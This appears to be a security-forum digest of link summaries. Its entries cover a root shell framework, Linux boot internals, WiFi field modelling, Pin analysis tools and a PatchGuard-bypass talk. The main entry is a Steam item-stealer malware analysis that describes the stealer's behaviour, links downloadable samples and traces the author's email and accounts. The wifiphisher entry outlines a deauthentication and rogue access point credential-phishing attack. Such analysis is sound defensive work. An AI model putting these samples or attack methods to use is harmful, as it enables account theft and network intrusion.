Nytro

[h=1]RootFW 4[/h] An Android Root Shell Framework RootFW is a tool that helps Android Applications act as root. The only way for an application to perform tasks as root, is by executing shell commands as Android has no native way of doing this. However, due to different types of shell support on different devices/ROM's (Shell type, busybox/toolbox versions etc.), this is not an easy task. RootFW comes with a lot of pre-built methods to handle the most common tasks. Each method tries to support as many different environments as possible by implementing different approaches for each environment. This makes the work of app developers a lot easier. Checkout the Wiki page for further info Sursa: https://github.com/SpazeDog/rootfw

Kernel booting process. Part 1. If you have read my previous blog posts, you can see that some time ago I started to get involved with low-level programming. I wrote some posts about x86_64 assembly programming for Linux. At the same time, I started to dive into the Linux source code. It is very interesting for me to understand how low-level things work, how programs run on my computer, how they are located in memory, how the kernel manages processes and memory, how the network stack works on low-level and many many other things. I decided to write yet another series of posts about the Linux kernel for x86_64. Note that I'm not a professional kernel hacker, and I don't write code for the kernel at work. It's just a hobby. I just like low-level stuff, and it is interesting for me to see how these things work. So if you notice anything confusing, or if you have any questions/remarks, ping me on twitter 0xAX, drop me an email or just create an issue. I appreciate it. All posts will also be accessible atlinux-internals and if you find something wrong with my English or post content, feel free to send pull request. Note that it isn't official documentation, just learning and knowledge sharing. Required knowledge Understanding C code Understanding assembly code (AT&T syntax) Anyway, if you just started to learn some tools, I will try to explain some parts during this and following posts. Ok, little introduction finished and now we can start to dive into kernel and low-level stuff. All code is actual for kernel - 3.18, if there will be changes, I will update posts. Magic power button, what's next? Despite that this is a series of posts about linux kernel, we will not start from kernel code (at least in this paragraph). Ok, you pressed magic power button on your laptop or desktop computer and it started to work. After the mother board sends a signal to the power supply, the power supply provides the computer with the proper amount of electricity. Once motherboard receives the power good signal, it tries to run the CPU. The CPU resets all leftover data in its registers and sets up predefined values for every register. 80386 and later CPUs defines the following predefined data in CPU registers after the computer resets: IP 0xfff0 CS selector 0xf000 CS base 0xffff0000 The processor works in real mode now and we need to make a little retreat for understanding memory segmentation in this mode. Real mode is supported in all x86 compatible processors, from 8086 to modern Intel 64bit CPUs. The 8086 processor had a 20 bit address bus, which means that it could work with 0-2^20 bytes address space (1 megabyte). But it only had 16 bit registers, and with 16 bit registers the maximum address is 2^16 or 0xffff (640 kilobytes). Memory segmentation was used to make use of all of the address space. All memory was divided into small, fixed-size segments of 65535 bytes, or 64 KB. Articol complet: https://github.com/0xAX/linux-insides/blob/master/linux-bootstrap-1.md

Helmhurts A few posts back I was concerned with optimising the WiFi reception in my flat, and I chose a simple method for calculating the distribution of electromagnetic intensity. I casually mentioned that I really should be doing things more rigorously by solving the Helmholtz equation, but then didn’t. Well, spurred on by a shocking amount of spare time, I’ve given it a go here. UPDATE: Android app now available, see this post for details. The Helmholtz equation is used in the modelling of the propagation of electromagnetic waves. More precisely, if the time-dependence of an electromagnetic wave can be assumed to be of the form and the dispersion relation given by for some refractive index distribution , then the electric field solves where is some source function. Given a source of radiation and a geometry to propagate in, in principle the Helmholtz equation can be solved for the entire radiation field . In practice this may not be so simple. Here I chose to model a situation in 2D, and set up a computational grid of size with grid cells labelled for , . Given this discretisation, the equation above becomes This is a linear equation in the ‘current’ cell as a function of its 4 neighbours. Each cell has an equation describing the relationship with its neighbours, so there are equations in unknowns. This motivates a linear algebraic approach to the problem – if all equations can be represented as one giant matrix equation, that matrix can be inverted and an exact solution for recovered. In particular we’ll have for some matrix , and we can compute . This is slightly tricky due to the fact that a 2D labelling system needs to be converted to a 1D labelling system , as the 2D simulation domain needs to be converted to a 1D vector. I use the translation that so that A pair of cells and are then separated by in this new labelling system, and a pair of cells and separated by 1. The row in the matrix equation corresponding to the th cell looks like where there are blank cells between the and cells. In fact, it is clear that the vast majority of the matrix is zero, which can help when considering the sheer size of the matrix. For this problem a room is approximately 5 m across, and the wavelength to resolve is around 5 cm. We will require 500" title="N > 500" class="latex"> or so then, which means the number of elements is around ! Storing each as a single precision number would require around 60 GB of RAM, and my poor battered laptop wouldn’t have a chance inverting that matrix even if it would fit in memory. Fortunately this problem has crept up on people cleverer than I, and they invented the concept of the sparse matrix, or a matrix filled mostly with zeros. We can visualise the structure of our matrix using the handy Matlab function spy – as plotted below it shows which elements of the matrix are nonzero. Here , so there are 784 elements in the matrix. However only 64 of those are nonzero, just 8% of the matrix is actually useful in computation! This drops to 4% if the resolution of our grid jumps by a factor of 10, and stays around 5% for another factor of 10. There is a special data structure in Matlab for sparse matricies, and using it speeds up calculation of inverses by orders of magnitude. In this case the code is literally a hundred times faster and uses a fraction of the memory. Moving on to the physics then, what does a solution of the Helmholtz equation look like? On the unit square for large , the quickest way is actually to use a packet of rice – see e.g. .In this calculation I’ve set boundary conditions that on the edges of the square, and set . It turns out that the Helmholtz equation can also be applied to the modelling of the forced vibrations of the square plate, where the choice of conditions above equates to applying a force at the centre of the plate and clamping the edges. The rice/sand/etc settles at the nodes of the plate, i.e. the positions which stay stationary in the oscillation. Visualised below are a selected few pretty pictures where I’ve taken a logarithmic colour scale to highlight the positions of zero electric field – the ‘nodes’. As the animation proceeds starts high and gradually gets lower, corresponding to fast plate oscillations gradually getting slower. Once again physics has turned out unexpectedly pretty and distracted me away from my goal, and this post becomes a microcosm of the entire concept of the blog… Moving onwards, I’ll recap the layout of the flat where I’m hoping to improve the signal reaching my computer from my WiFi router: I can use this image to act as a refractive index map – walls are very high refractive index, and empty space has a refractive index of 1. I then set up the WiFi antenna as a small radiation source hidden away somewhat uselessly in the corner. Starting with a radiation wavelength of 10 cm, I end up with an electromagnetic intensity map which looks like this: This is, well, surprisingly great to look at, but is very much unexpected. I would have expected to see some region of ‘brightness’ around the electromagnetic source, fading away into the distance perhaps with some funky diffraction effects going on. Instead we get a wispy structure with filaments of strong field strength snaking their way around. There are noticeable black spots too, recognisable to anyone who’s shifted position in a chair and having their phone conversation dropped. What if we stuck the router in the kitchen? This seems to help the reception in all of the flat except the bedrooms, though we would have to deal with lightning striking the cupboard under the stairs it seems. What about smack bang in the middle of the flat? Thats more like it! Tendrils of internet goodness can get everywhere, even into the bathroom where no one at all occasionally reads BBC News with numb legs. Unfortunately this is probably not a viable option. Actually the distribution of field strength seems extremely sensitive to every parameter, be it the position of the router, the wavelength of the radiation, or the refractive index of the front door. This probably requires some averaging over parameters or grid convergence scan, but given it takes this laptop 10 minutes or so to conjure up each of the above images, that’s probably out of the question for now. UPDATE As suggested by a helpful commenter, I tried adding in an imaginary component of the refractive index for the walls, taken from here. This allows for some absorption in the concrete, and stops the perfect reflections forming a standing wave which almost perfectly cancels everything out. The results look like something I would actually expect: END UPDATE It’s quite surprising that the final results should be so sensitive, but given we’re performing a matrix inversion in the solution, the field strength at every position depends on the field strength at every other position. This might seem to be invoking some sort of non-local interaction of the electromagnetic field, but actually its just due to the way we’ve decided to solve the problem. The Helmholtz equation implicitly assumes a solution independent of time, other than a sinusoidal oscillation. What we end up with is then a system at equilibrium, oscillating back and forth as a trapped standing wave. In effect the antenna has been switched on for an infinite amount of time and all possible reflections, refractions, transmissions etc. have been allowed to happen. There is certainly enough time for all parts of the flat to affect every other part of the flat then, and ‘non-locality’ isn’t an issue. In a practical sense, after a second the electromagnetic waves have had time to zip around the place billions of times and so equilibrium happens extremely quickly. Now it’s all very well and good to chat about this so glibly, because we’re all physicists and 90% of the time we’re rationalising away difficult-to-do things as ‘obvious’ or ‘trivial’ to avoid doing any work. Unfortunately for me the point of this blog is to do lots of work in my spare time while avoiding doing anything actually useful, so lets see if we can’t have a go at the time-dependent problem. Once we start reintroducing ‘s into the Helmholtz equation it’s actually not an approximation at all any more and we’re back to solving the full set of Maxwell’s equations. This is exactly what the FDTD technique achieves – Finite Difference Time Domain. The FD means we’re solving equations on a grid, and the TD just makes it all a bit harder. To be specific there is a simple algorithm to march Maxwell’s equations forwards in time, namely I’ve introduced a current source and the relative permittivity/permeability and such that . We can use all of the machinery mentioned above to discretise the flat layout into a grid, but this time repeatedly apply the above equations. All 6 variables are stored on the grid and updated for every time step. The RAM requirements aren’t so strict in this case which would allow me to model the full flat down to millimetre resolution, but this is just too slow. A full simulation might take all day, and even I can’t justify that. Running one at a longer wavelength 30cm allows me to drop the resolution enough to run a quick simulation before I go to bed. With the router in approximately the correct place, you can see the radiation initially stream out of the router. There are a few reflections at first, but once the flat has been filled with field it becomes static quite quickly, and settles into an oscillating standing wave. This looks very much like the ‘infinite time’ Helmholtz solution above, albeit at a longer wavelength, and justifies some of the hand-waving ‘intuition’ I tried to fool you with. Sursa: Helmhurts | Almost looks like work

Analysis of Steam stealers and the ‘Steam Stealer Extreme’ service Back in the end of November I started to spot some steam stealing malware in a backdoored Mumble installer: Samples of these kind of stealers appeared more and more often. Around half of December I ended up with 14 unique samples that were actively spread around (see the end of this post for hashes and downloads for these samples): All of them except one are around 250kb or more in size. Only one sample, called ‘SteamDouble.exe’, was 69kb in size: File name: SteamDouble.exe File size: 69.0 KB ( 70656 bytes ) First seen: 2014-12-07 MD5: 5f50e810668942e8d694faeabab08260 SHA1: b44c087039ea90569291bfe1105693417fb2f84d SHA256: 21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987 ssdeep: 1536:NrNoD6y4E/+JWiiVUIekBixa7vq5KwSTPxkjL/Gv:NrNADqWii2IekBMa7v9wSYY VirusTotal: https://www.virustotal.com/en/file/21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NDQwMzE3ZTI4OTc5NGZkYmI4MDc4YzhhNDMwOGFmNjA/ STEAMDOUBLE/BRUTALITY analysis The ‘SteamDouble.exe’ sample came from a link originally send in a Steam chat message. The text of the message was: “”lol, wtf? http://img-pic[.]com/image612_14[.]jpeg”. When visiting this link the server on the other end responded with: HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 04 Jan 2015 14:15:03 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive Location: http://goo[.]gl/QaidJm This was a redirect towards a Google shortlink: “goo[.]gl/QaidJm”. In turn this shortlink redirects towards ‘steamdouble[.]com’ website: It advertises the so called ‘CS:GO Skin Duplicator’. The files for this tool are hosted on a filesharing service from russia called ‘exfile.ru’. The website itself also features a video showing the usage of the tool: The video shows a tool which allows, as the tool’s name says, a user to duplicate CS:GO items. In the video it links to ‘csgoskinduplication[.]com’ this is the exact same website as ‘steamdouble[.]com’. The sample I grabbed back when I first saw this appear was not obfuscated or crypted. The current version available from the site has a crypted fake DLL which is decrypted and then ran. This payload is the same one I will be showing in the further analysis, just packed/crypted. It seems when the guy behind this first started he didn’t seem to care about packing/crypting his payload. The ‘SteamDouble.exe’ payload is written in C#. Throwing it in a tool like ILSpy gives us a nice set of source code files especially because the author didn’t obfuscate any of the code. Just by looking at the project title ‘Stealer’ and the folder names inside the project like ‘SteamStealer’ it gives us a clear indication of what this sample does: The first folder named ‘Steam4NET’ contains a modified, stripped or old version of the Steam4NET open source .NET wrapper around the Steamworks C++ interfaces hosted on Github: https://github.com/SteamRE/Steam4NET Looking at the main function we see the first thing it does is download an image which is stored in the appdata folder and shown to the user: The image that is downloaded and displayed shows a screenshot of a russian DOTA2 account with the items it has available. (The original message send on Steam chat was an ‘image’ link so this makes sense to hide its real purpose). The downloaded image: The second part of the main function is where the actual ‘Steam stealing’ takes place: First it creators a new SteamWorker and adds an ‘offer’ which is used to trade items. The Steam cookies are parsed and as long as there are Steam cookies (aka the user is logged in to Steam) it will perform the ‘Spam.SpamInFriendList’ function which contains the message which got me on the sample in the first place “lol, wtf? http://img-pic[.]com/image612_14[.]jpeg”. After this it adds the items it wants to steal which is a long list of items this guy is interested in. The last step is where it actually sends the item to trade to his own account. On the other end the guy only has to accept the trade offers (or have some automated way of doing it) and the items will belong to him. Very simple but an effective way of stealing items. Going back to the original ‘addOffer’ function if we look at the arguments it expects we can find who is behind this (or at least the account used for the malicious trading): The first argument to this function is the user’s Steam ID. This can be put in a SteamCommunity URL to go the user’s profile. The URL for this is: ‘http://steamcommunity.com/profiles/<SteamID>/’, this will redirect to the user’s real ID. In this case the SteamID used is ‘76561198161815322’, if we put this is in we get redirected to ‘Steam Community :: prewelec. This is the profile of a guy going by the nickname ‘prewelec’ who is supposedly from the US: On the bottom the user commented some trade URL’s with the ID and token, these are the same items used for the ‘addOffer’ function’s 2nd and 3rd argument. Looking at this user’s inventory it doesn’t show a very big amount of items but it could be this is just a middle-man account used to trade the items further: Another interesting thing from this profile is the comments it leaves on some other gamer’s profile: The comment is pretty much the same message it spams around via the Steam chat ‘Spam.SpamInFriendList’ function. This sample stood out and appears to be a custom thing created by a criminal specifically for his needs. The other samples however did not match this sample, not only by size. The Steam Stealer Extreme service From the 14 samples I obtained the ‘SteamDouble’ sample stood out of the bunch due to the size. The other 13 are all around 250kb in size. Throwing any of the 250kb and bigger samples into ILSpy gives us the same decompilation structure: This tells me its the same tool/stealer used in all of these samples. Looking at the function inside the decompiled code we see similar functionality as with the ‘SteamDouble’ Stealer: It can gather the Steam cookie, add items to be stolen, post comments (on profile pages) to spread and also has two functions indicating of a spreading mechanism towards friends (be it Steam chat or profile comments): ‘SpreadToFriends’ and ‘SpreadToFriendsUsingChat’. Just by looking at these functions we get a clear picture of what the purpose is of this malware. The builder used for these samples does obfuscate some of the code which causes some trouble for the decompiler. Of course it can be fixed but seeing as the purpose of this thing is already clear I’m not going to waste time on cleaning all the samples. The more interesting question here is what is ‘Steam Stealer Extreme’. By simply googling for it you can find the ‘sales’ website located at steamstealer[.]com, steamstealer[.]org and steamstealer[.]net. It has the title ‘Steam Stealer Extreme’ which is marketed as ‘Revolutionizing the Steam Item Stealing Industry’, erhm… yes. An about section details some more information on ‘the product’: Steam Stealer Extreme is the new Steam Stealer completely custom coded (you can PM us and get some proof if you want!) and functions well. Steam Stealer Extreme is not like other steam stealers which is based off the same code as found on the Russian forum where it was leaked. It has extra features like filters (which are properly coded) and spreading your file via commenting on the client’s friends’ profiles * NEW * Spreads Via Chat! We’re a no bullshit product with little disadvantages. Our stealer does work and will work until Steam decide to patch the methods used. Steam Stealer Extreme is about getting the items you want and when you want. They also have some video’s showing how it works on their YouTube channel: https://www.youtube.com/channel/UC7MjY8duE1xh-tTWpAsj_o The site also contains an image of the ‘builder’ for the stealer: A list of features for the stealer: Information on how to purchase ‘Steam Stealer Extreme’, which is currently only available via Bitcoin payment: And at the bottom there’s also some contact information: Looking at the registration date of the website the .com, .org and .net websites for ‘Steam Stealer Extreme’ were registered on 2014-11-16 and all hosted on a VPS owned by OVH France at 92.222.189.92. The email address ‘brynaldo8’ in the contact section from the site is ‘brynaldo8@gmail.com’. Interestingly if you simply google for this email address you will find the following pastebin post which contains a database dump with the (hashed) password for ‘LaPanthere’ which is the name this guy goes by: (Originally located at: LaPanthere SQL - Pastebin.com) The ‘LaPanthere’ guy also has a PasteBin account at LaPanthere's Pastebin - Pastebin.com: Combining ‘LaPanthere’ and ‘brynaldo8’ also shows a dump from a post by Brian Krebs about ‘ragebooter’ being hacked. The dump also contains the user details of ‘LaPanthere’ but with a hotmail.com email address instead of gmail.com: (Original dump located at: http://krebsonsecurity.com/wp-content/uploads/2013/08/ragebooter.txt) Finding this guy’s Steam profile is also easy, it actually matches the avatar from the PasteBin account. (Steam profile: Steam Community :: LaPanthere): This show’s ‘LaPanthere’ is an Australian guy. I won’t go any further into this person’s identity as I’m not here to make personal allegations against someone. All I am going to say about it is that this person is rather sloppy with what he’s leaving behind as a trail. Finding out ‘LaPanthere”s real identity is not that hard and only a few steps away from what I’ve shown. I would expect a bit more from someone running a service like this, but keeping in mind his public profile(s) are on hackforums and leakforums it says enough . As for the ‘Steam Stealer Extreme’ malware going around, just don’t start running everything being send to you via chat messages or comments. Would you have your items stolen send a message to the Valve support staff explaining your situation, they will be able to help you out. Detection wise, Antivirus products are still somewhat behind on detecting this one properly but its getting there (slowly). All the samples I’ve shown are available for download from Malwr, see the next section for details and links to all the files, enjoy! Steam Stealer Extreme samples: Note: These are not all the Steam Stealer Extreme samples out there. These are just the ones I found when focusing on find out what they were and where it came from back in November through December 2014. File name: Cracked SSE Builder.exe File size: 363.5 KB ( 372224 bytes ) First seen: 2014-11-25 MD5: 38569912bdd5e0f9d13d5e8b2c00800c SHA1: f153bf9d850f396e30f507d526a7a365ef93bdfd SHA256: 700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59 ssdeep: 6144:ODrM4scvXCPGrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxd:ODr/sGXoT/dEWP3GxtJw4Mp VirusTotal: https://www.virustotal.com/en/file/700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MWNkYWQwYmRjZGQ3NGUyNWJmZDY5ODA2YTgwOTQ3Nzc/ File name: CSGO Hack v1 - Coded by Empathy.exe File size: 355.0 KB ( 363520 bytes ) First seen: 2014-12-03 MD5: 99fd0d39b96009cd17a343d36e3f6c75 SHA1: 107090152ec18240064b035181a7a5220b7152d0 SHA256: 7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050 ssdeep: 6144:45oNxrSsfjLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxIkEFMa:4+NbC/dEWP3GxtJw4MfE VirusTotal: https://www.virustotal.com/en/file/7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YmEzYzBkOWNmYWIyNGEwZjgyOGYyMTdhMDljNGFjOGQ/ File name: CSGO Multi-Hack by LionHacks.exe File size: 499.0 KB ( 510976 bytes ) First seen: 2014-11-26 MD5: b1b8915930cd72ef8fac0b449b13f966 SHA1: 040461f0a9b1be066158caa50a21ae9d58a07e89 SHA256: 3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339 ssdeep: 6144:0ZQel9dgZgdLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxgL6ceixULxr9TBvctzF6WI:0ZQcdI1/dEWP3GxtJw4MApxuzkt0yij VirusTotal: https://www.virustotal.com/en/file/3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/ZWM1NTcxYWYwOWIwNDhlZGEwNTdjNWQzMWJlNTA4NDI/ File name: CsgoSound.exe File size: 282.2 KB ( 289002 bytes ) First seen: 2014-12-03 MD5: 4928ed30b0f9eee8078baa74dd0d7729 SHA1: 9b2689a6236d172499aa6019bf99c74dccb169e0 SHA256: 642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c ssdeep: 6144:L0fzV71SinbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxwIkI:gzjS/dEWP3GxtJw4MEq VirusTotal: https://www.virustotal.com/en/file/642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NjFkY2Q2OGM4OTBiNDNlNjhjMmMzYTY3Nzg0NmM5MDI/ File name: Easy Trader.exe File size: 445.0 KB ( 455680 bytes ) First seen: 2014-11-20 MD5: 4e29168df760a5577e61d0b6e9e05704 SHA1: 8f323230d114800d6aadc3dfa1abf045030ddc43 SHA256: b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147 ssdeep: 6144:uwAArfLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx8mMbxuszfkOffcXF+cOr+9lPF:g/dEWP3GxtJw4MNMbxjdffgj VirusTotal: https://www.virustotal.com/en/file/b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MjM4NWNmMWI2YTg3NDdiMTgxYjcwYWJiOTc0MGUxYWU/ File name: ESAntiCheat.exe File size: 257.5 KB ( 263680 bytes ) First seen: 2014-11-25 MD5: 65a3f03dc222ae27cb38cf5ef737f92d SHA1: ebc1c3e230afa07b40a49b037a3e349907e04fa0 SHA256: f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141 ssdeep: 6144:RTfzI+RCaduLCrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:RTblEB3/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MzBiMDJlYmEwNTkwNDE0MDliMjdmNTdhMDcyZTRjOGE/ File name: HashChanger.exe File size: 544.0 KB ( 557056 bytes ) First seen: 2014-11-23 MD5: 732f303f34afa01e16fe3fc67a4e88ee SHA1: 7e26ddbf6e223ca17ffb9dd62831b5588ccd9b0d SHA256: c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65 ssdeep: 12288:58srPC/lUx539N3dPysQvxcRy1uvdy2jZZJAmnI/v:51b4qTzFDQvx65w2ymI VirusTotal: https://www.virustotal.com/en/file/c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MTllYWE2NzM4NWYwNGE1M2IyZDkxNjJmNjk2NjZmZmM/ File name: Knife Exploit.exe File size: 444.0 KB ( 454656 bytes ) First seen: 2014-11-29 MD5: 22d1eb7f6536b3873318ef143b11982b SHA1: 13514fcf49b5e40fbec16cff58ab328b70d1e9f0 SHA256: 87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a ssdeep: 6144:dnylhPXVLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxl+WA1hzu8UYh:lyV0/dEWP3GxtJw4MR+Fr VirusTotal: https://www.virustotal.com/en/file/87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YWIyMGY0OWZhNTUyNDVjY2EyYjgxNTE1MmEzNDgzNDg/ File name: SSBuilder.exe File size: 619.0 KB ( 633856 bytes ) First seen: 2014-11-29 MD5: aad6c525784c7e9ede917c1d57fbf9fa SHA1: ede0c60b18ce52b6e50f7d18c3eccb27109cf79c SHA256: b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28 ssdeep: 6144:pXIa5sZuZTLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxD4rrDBUYyMDEwk:pr5ssM/dEWP3GxtJw4MC VirusTotal: https://www.virustotal.com/en/file/b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NzgyYWNhN2I1ZjM4NGUwMDgzYTRkNjViNmYxYWMyOWI/ File name: SSE_Stealer_76561197960568995.exe File size: 253.0 KB ( 259072 bytes ) First seen: 2014-11-21 MD5: 05738a9c72ecea220dd668068b0d4a12 SHA1: 9d77843aaf9372cfb27978dd6c1034f77325edac SHA256: 3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4 ssdeep: 6144:tnFRpTJrYEYpsEzLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:tnFRpTJ1Y8/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/ZTBhNjBjZjc5NWUxNDdiYTg3YzE2Yjc5YjlhNWE2MTc/ File name: Steam Inventory Stealer - Builder.exe File size: 443.0 KB ( 453632 bytes ) First seen: 2014-11-21 MD5: 2f8b66e5ca6f4d569b05f7ebf9b41457 SHA1: b30351911491fcf8809c1e469c80f393c506ef1d SHA256: 4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a ssdeep: 6144:v83x+y+eLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx4MWwblGwsPtIGacnW:vx7/dEWP3GxtJw4McpgDsPrakW VirusTotal: https://www.virustotal.com/en/file/4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MTQzMGIzYWNhYWYyNGNlNGI3NGM3ZTk0MTQ5ODkxOGY/ File name: SteamTradeHacker-v.3.6.exe File size: 257.0 KB ( 263168 bytes ) First seen: 2014-11-22 MD5: e834f7a3c508f24e29caf336e27d408d SHA1: 8874a35610d391a493f21618a01d79976f6a2ba5 SHA256: 737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478 ssdeep: 6144:GYLZOFDdMbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:5ZCp/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YjBmMGU5OWY2NTczNDZlNGIzYzE1MDYzYTAxY2ZjYjY/ File name: Stub.exe File size: 354.5 KB ( 363008 bytes ) First seen: 2014-11-29 MD5: dc88276de2ad28c7af2578e7f691b285 SHA1: 17bd2037abcc9a248cfb3e991be3e6e73bcfad18 SHA256: 4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc ssdeep: 6144:DIqY6P0o2WU0dLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxtq4i3:cqYjocZ/dEWP3GxtJw4Mxq1 VirusTotal: https://www.virustotal.com/en/file/4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/N2YxZDU3M2M1YzdkNDIzOGE2Mjk3ZjQ0MGM3YjYwYjY/ 7:49am | URL: 0x3a - Security Specialist and programmer by trade - Analysis of Steam stealers and the ‘Steam Stealer Extreme’ service Sursa: 0x3a - Security Specialist and programmer by trade - Analysis of Steam stealers and the ‘Steam Stealer Extreme’ service

[h=1]Pin Tools[/h] I just decided to centralize my old and next Pin tools about program analysis in this repo. [h=2]Timeline[/h] [TABLE] [TR] [TH=colspan: 2]Timeline[/TH] [/TR] [TR] [TH]Name[/TH] [TH]date[/TH] [/TR] [TR] [TD]FormatStringDetection[/TD] [TD]Nov 11, 2014[/TD] [/TR] [TR] [TD]OverflowDetection[/TD] [TD]Oct 10, 2013[/TD] [/TR] [TR] [TD]ConcolicExecution[/TD] [TD]Aug 28, 2013[/TD] [/TR] [TR] [TD]InMemoryFuzzing[/TD] [TD]Aug 17, 2013[/TD] [/TR] [TR] [TD]LoopDetectionInstCounter[/TD] [TD]Aug 13, 2013[/TD] [/TR] [TR] [TD]ObsoleteStackFrameAccessDetection[/TD] [TD]Aug 08, 2013[/TD] [/TR] [TR] [TD]ClassicalUseAfterFreePatternMatching[/TD] [TD]Aug 08, 2013[/TD] [/TR] [TR] [TD]PointerWithoutCheckDetection[/TD] [TD]Aug 08, 2013[/TD] [/TR] [TR] [TD]TaintAnalysis[/TD] [TD]Aug 08, 2013[/TD] [/TR] [/TABLE] [h=2]Related blog post[/h] FormatStringDetection n/a OverflowDetection shell-storm | Stack and heap overflow detection at runtime via behavior analysis and PIN ConcolicExecution shell-storm | Binary analysis: Concolic execution with Pin and z3 InMemoryFuzzing shell-storm | In-Memory fuzzing with Pin LoopDetectionInstCounter n/a ObsoleteStackFrameAccessDetection shell-storm | Taint analysis and pattern matching with Pin ClassicalUseAfterFreePatternMatching shell-storm | Taint analysis and pattern matching with Pin PointerWithoutCheckDetection shell-storm | Taint analysis and pattern matching with Pin TaintAnalysis shell-storm | Taint analysis and pattern matching with Pin Sursa: https://github.com/JonathanSalwan/PinTools

[h=1]wifiphisher[/h] [h=2]About[/h] Wifiphisher is a security tool that mounts fast automated phishing attacks against WPA networks in order to obtain the secret passphrase. It is a social engineering attack that unlike other methods it does not include any brute forcing. It is an easy way for obtaining WPA credentials. Wifiphisher works on Kali Linux and is licensed under the MIT license. From the victim's perspective, the attack makes use in three phases: Victim is being deauthenticated from her access point. Wifiphisher continuously jams all of the target access point's wifi devices within range by sending deauth packets to the client from the access point, to the access point from the client, and to the broadcast address as well. Victim joins a rogue access point. Wifiphisher sniffs the area and copies the target access point's settings. It then creates a rogue wireless access point that is modeled on the target. It also sets up a NAT/DHCP server and forwards the right ports. Consequently, because of the jamming, clients will start connecting to the rogue access point. After this phase, the victim is MiTMed. Victim is being served a realistic router config-looking page. wifiphisher employs a minimal web server that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, wifiphisher will respond with a realistic fake page that asks for WPA password confirmation due to a router firmware upgrade. Performing MiTM attack Link: https://github.com/sophron/wifiphisher

Understanding and Defeating Windows 8.1 Kernel Patch Protection: It’s all about gong fu! (part 2) Andrea Allievi Talos Security Research and Intelligence Group - Cisco Systems Inc. aallievi@cisco.com November 20th, 2014 - NoSuchCon Who am I • Security researcher, focused on Malware Research • Work for Cisco Systems in the TALOS Security Research and Intelligence Group • Microsoft OSs Internals enthusiast / Kernel system level developer • Previously worked for PrevX, Webroot and Saferbytes • Original designer of the first UEFI Bootkit in 2012, and other research projects/analysis Agenda 0. Some definitions 1. Introduction to Patchguard and Driver Signing Enforcement 2. Kernel Patch Protection Implementation 3. Attacking Patchguard 4. Demo time 5. Going ahead in Patchguard Exploitation Download: http://www.nosuchcon.org/talks/2014/D2_01_Andrea_Allievi_Win8.1_Patch_protections.pdf

